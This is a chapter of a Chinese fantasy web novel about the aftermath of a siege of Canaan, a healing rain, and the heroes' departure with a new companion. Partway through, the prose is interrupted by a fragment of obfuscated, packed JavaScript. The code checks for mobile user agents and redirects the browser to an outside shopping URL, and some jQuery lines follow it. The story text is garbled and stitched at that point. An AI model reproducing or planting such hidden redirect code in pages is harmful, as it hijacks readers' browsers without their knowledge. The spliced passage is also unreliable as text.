59. 好雨知时节

作品:《美强惨的我开打复活赛

    大仇得报的喜悦转瞬即逝,伊沙面对一片废墟叹气。


    怀素锦默默站在她的身旁。


    迦南人守住了迦南城,哪怕它早已破烂不堪。


    晏青与丹行远二人随后匆匆赶来,正赶上把满脸大包的冯德禄扭送进牢。


    见到丹行远,那冯德禄竟是面子也不要了,跪下来便哭天喊地求丹行远救救自己。


    还没等到丹行远回应,便被晏青一脚揣进牢里:


    “不好意思,丹药师日理万机,实在是忙得恨。”


    之前那些驾车远走的人,重又回到破败的老城区,原来之前,他们在花溪亭的帮助下转移进了夜里虚拟的海市蜃楼里,没有受到太多的波及。


    “之前联系不上你的时候,你不会躲在海市蜃楼里了吧?”


    面对晏青的打趣,花溪亭只是笑笑,遮住小臂一道长长的伤疤。丹行远站在晏青身后,将一切看在眼底。


    “分配任务时我就问过你要不要一起行动,可惜你还是选了丹药师。”


    花溪亭略带遗憾地眨眨眼,话语极近暧昧。


    “此乃万全之策。”


    “说起来,我哪里比不上丹药师?你们九州人的审美真诡异。”


    “……你的人生中没有比开屏更重要的事了吗。”


    “动物□□有时节,但求偶是迦南人一辈子的事情,特别是男性之间有各种比赛,就是为了展现自己英武的一面,赢取异性的青睐。”


    花溪亭说着,如同要上赛场争奇斗艳的花孔雀一般仰起头。


    “英武也好,柔情也罢,萝卜白菜各有所爱。”晏青奇怪地上下看了眼花溪亭,“再说了,你的求偶圈跟他也不重复吧。”


    花溪亭一错不错地看着她。


    “别看我,我不在。”


    “你不用说,我都看得出来。”


    花溪亭一副“我都懂”的表情,靠近一步,小声地对晏青说,“不然为何你俩形影不离?”


    二人被金线捆绑之事尚未告诉花溪亭,晏青有苦难言。


    她微眯眼睛,“花公子好像特别喜欢多管闲事。”


    花溪亭点点头:“这么说确有其事。”


    “……”


    “所以叶姑娘,是比较喜欢萝卜呢,还是比较喜欢白菜呢?”


    晏青睨一眼他:“你算萝卜还是白菜?”


    眼看他们背过身贴得越靠越近,却离自己越来越远,说话语气越来越接近悄悄话,站在一米远的丹行远看着手腕的金线,适当地出声。


    花溪亭回过神,意味深长地拍了拍晏青的肩膀,当着丹行远的面说道:“要是反悔,随时可以找我。”


    晏青:“你还是去找天下万千少女展示你的雄性魅力吧。”


    花溪亭笑了,前去帮一队人马搬运物资。


    他搀扶着一位抱着孩子的母亲,仔细一看怀中的孩子,正是那日丹行远把过脉的生病小女孩。


    小女孩奄奄一息,见到花溪亭,仍然挤出一个笑容。


    可她双眼满是紫气,很快如同呼吸不上来一般,剧烈地喘息。


    依晏青所见,她快死了。


    她转过身,朝丹行远点点头。


    丹行远会意,从怀中捏出一纸符咒,还闪着光。符咒在阳光下化去,化作一阵水蓝色的灵力朝天上汇聚。


    花溪亭还有些不知所措:“再坚持一下,我们胜利了,我马上去巡天盟替你们取来水源……”


    “公子,我们都听到使女的话了。”路过的人叹了口气,“这是毒,是解不了的。”


    “是啊,亚伯已经在海市蜃楼里走了……”


    “哎,我的眼睛也快看不见了,估计也撑不了多久了。”


    染上疾病的迦南人们感慨道,并非哀怨,而是平静地走向已知的命运。


    “大家放心,药宗首席丹行远丹药师都在这里,就算是毒,我们也要找到解药。”花溪亭斩钉截铁。


    面前的母亲笑容苍白,眼里是深深的疲惫,她只是更深地吻了吻女孩的脸庞,朝二人深深地鞠躬。


    “你,你快做些什么啊……”花溪亭急得推了推丹行远,被晏青一手挡下。


    她用眼神警告花溪亭,轻微地摇了摇头。


    小女孩蜷缩在母亲怀里,眼皮颤抖。


    花溪亭也知自己的着急无济于事,可他如何忍心看着一条生命在自己面前消逝?


    丹行远走上前,带着温和而坚定的笑容,牢牢握住小女孩的瘦弱的手。


    一滴水打湿了女孩的面庞。


    母亲惊奇地抬起头。


    一滴,两滴,一滴接着一滴。


    百姓们奇异地抬起头。


    迦南下雨了。


    千百年来,大漠迦南第一次下雨了!


    反应过来后,他们很快从震惊转为喜悦,大家伸出舌头去接住那雨滴,欢喜又雀跃。


    雨水敲打女孩的眼皮,教她懵懂地挣开双眼。


    蜷缩在母亲怀中的小女孩,被扑面冰凉的雨滴唤醒,她动了动,竟睁开了原是被魔气缠住的双眼,懵懂地望向天空。


    母亲又惊又喜,喜极而泣,第一反应竟是直直朝丹行远跪下,抱着女儿失声痛哭。三人忙去搀扶。


    那些染了病的迦南人也发现症状在减轻。


    “奇怪,我的眼睛好像能看见了。”


    “我也不痛了,好轻松啊。”


    “这雨里有解药,这是使女赐下的雨!”


    “使女庇佑迦南!使女庇佑迦南!使女庇佑迦南!”


    虔诚的信徒跪倒在被雨打湿的沙漠之中,朝天跪拜。


    一个人,两个人,而后是无数迦南人,黑色的一个个脑袋,深深地匍匐在沙漠之上,跪拜这一场人为的神迹。


    花溪亭抹了一把脸上的雨水,犹在梦中。


    而他身后,晏青与丹行远的身影悄悄隐在人群之中。


    -


    飘摇细雨之中,一辆马车摇摇晃晃地往大漠深处驶去。


    “我们就这样走了,是不是太仓促了。”


    怀素锦靠在窗边往回看,手里攥着方才伊沙递给自己的手帕,湿透的手帕沾满了两人的泪水。


    晏青劝她:“好了,送了又送,没个头。”


    她又担心:“李承裕真的这么豁达,不仅答应给我们通关文书,还愿与迦南人交好,不干涉他们的内政事务?”


    晏青哼声:“除非他不要命了。”


    眼看怀素锦面露疑惑,丹行远补充道:“冯德禄下毒是大罪,后果却要两人来承担,李承裕与花溪亭合作,既保住了自己的面子,也压了冯德禄一头。”


    怀素锦若有所思:“他表面上也得到了迦南原住民的尊重,而冯德禄一直再搞反击战,看来和花溪亭合作,对他并非坏事。”


    她忽地探出头去,揉揉眼睛,惊叫出声。


    伴随着渡鸦嘶哑的叫声,黑羽大张的花溪亭撞进马车,扑簌簌落了满车的黑色羽毛。


    “这马车倒是开得挺快的。”花溪亭若无其事地爬起身,拍了拍红衣上并不存在的灰尘。


    “千里相送就不必了吧。”晏青及时扯过怀素锦,“千里追杀还是巡天盟的工作,也轮不到你。”


    “你们带走了迦南圣器,我当然要跟过来。”


    他说的,自然是无字天书。


    沉默片刻,晏青无语:“分明是你这无字天书非要跟着我们走,甩也甩不开。”


    她示范性在空气中一抓,闪着金光的无字天书出现在她手中。花溪亭正要扑过去,却见她手腕一翻,书又消失无踪。


    “事先说明,我可没有暗下手脚,无字天书如此鸡肋的灵器,我还嫌弃它耗我灵力。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213796|194379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >花溪亭扑了个空,一把攥住晏青的手腕,“怎么会?莫非之前你晕倒时,有事相求?”


    晏青仔细想了想,摇摇头。


    “真没有?”


    “我忘了。”


    “……”


    花溪亭沉思,“无字天书乃儒家所出,并不存在认主一说,恐怕是有什么隐情……”


    “花公子莫非要为了无字天书,与我们一道回九州?”


    丹行远不知何时出现在晏青身边,轻轻地从花溪亭手中牵过晏青的手腕。


    “那我不管,我是奉母亲之命,要来护送无字天书,直到它平安回到迦南为止,不管什么隐情都得解出来。”


    “正好看看九州风景也无妨,你们不必多管我,就当没我这个人。”花溪亭不管不顾地坐下来,四下张望了两下,“有没有茶水招待一下远道而来的客人?”


    丹行远默默倒了一杯茶水,花溪亭正要接过,却被晏青截住。她仰头喝得干净,一抹嘴,把空杯子“啪”地放在桌上。


    花溪亭顿了顿:“叶姑娘若是这么想和我共用一个杯子,提前说便是了。”


    “要喝自己倒去。”


    叹了口气,花溪亭俯身前倾接过茶壶,自己给自己倒了一杯茶水。


    “你……就这么丢下迦南过来了?”怀素锦担忧地问。


    “现在伊沙几乎成为了第二个管事的,张罗着旧城的重建,根本用不上我。至于李承裕,他可比冯德禄怂多了也好拿捏多了,不成气候。”


    “那你就这么丢下你妈出来了?”晏青挑眉。


    “你把我想成什么人了。”


    “那种对母亲比较孝顺的,即使长大了也还要在母亲怀里哭唧……”


    “喂——”花溪亭及时地打断。


    晏青不买他的账,挑眉看回去:山洞里发生的一切可不是空穴来风。


    “她在幻境中更加安全,根本不必我担忧,况且我来九州,也是她一直以来的愿望。”


    之后的话,花溪亭并不愿多谈,但留下的事已确定,几人收拾收拾便各自散去。


    晏青刚要起身,却被两人之间的金线牵扯,若无其事地坐了回去。


    “这个……”


    花溪亭正要离去,看着端坐在原地不动如山的晏青,疑惑的眼光在两人之间流转。


    “我有事与丹药师单独商议,你们先歇息吧。”晏青面不改色地吩咐怀素锦带花溪亭去休息。


    花溪亭挑眉,最终没有多说什么,转身离去。


    车厢里再次只剩下两人,气氛安静得诡异。


    “之后的事……”“回去之后……”


    两人不约而同地出声。


    丹行远顿了顿,继续说道:“我已提前联系药宗,这次入境佛门莲宗自会庇护我们。巡天盟都是冲我来的,你的通缉令应该不日会撤掉。”


    晏青若有所思地点点头,她在意的是另一点:“你身上真的有他们想要的东西?”


    “道友说笑了。”


    丹行远自然不会回答,晏青琢磨:“莫非,你真的趁我们不注意,偷偷把忘归剑盗走了?”


    她拍桌起身,全然忘了金线一事,这一下便被扯得越过面前的矮桌,将丹行远结结实实地扑倒在地。


    “咚”一声。


    扑面是那股熟悉的药草苦味,掌下青丝散乱,丹行远的脸上闪过一丝错愕的神色。那张脸近在咫尺,近得能清晰地看到丹行远脸上的毛孔,还有长长的睫毛。


    晏青愣了一刻,为了掩饰尴尬,低头胡乱地拍了拍他的腰两侧。


    “看起来也不像藏了一把剑……”


    她嘟囔着起身,别过脸去。


    丹行远直起身整理凌乱的衣襟,道,“对药修而言,哪怕是上古神剑,又有什么用呢?”


    “也许切西瓜比较方便吧,没有蒜味。”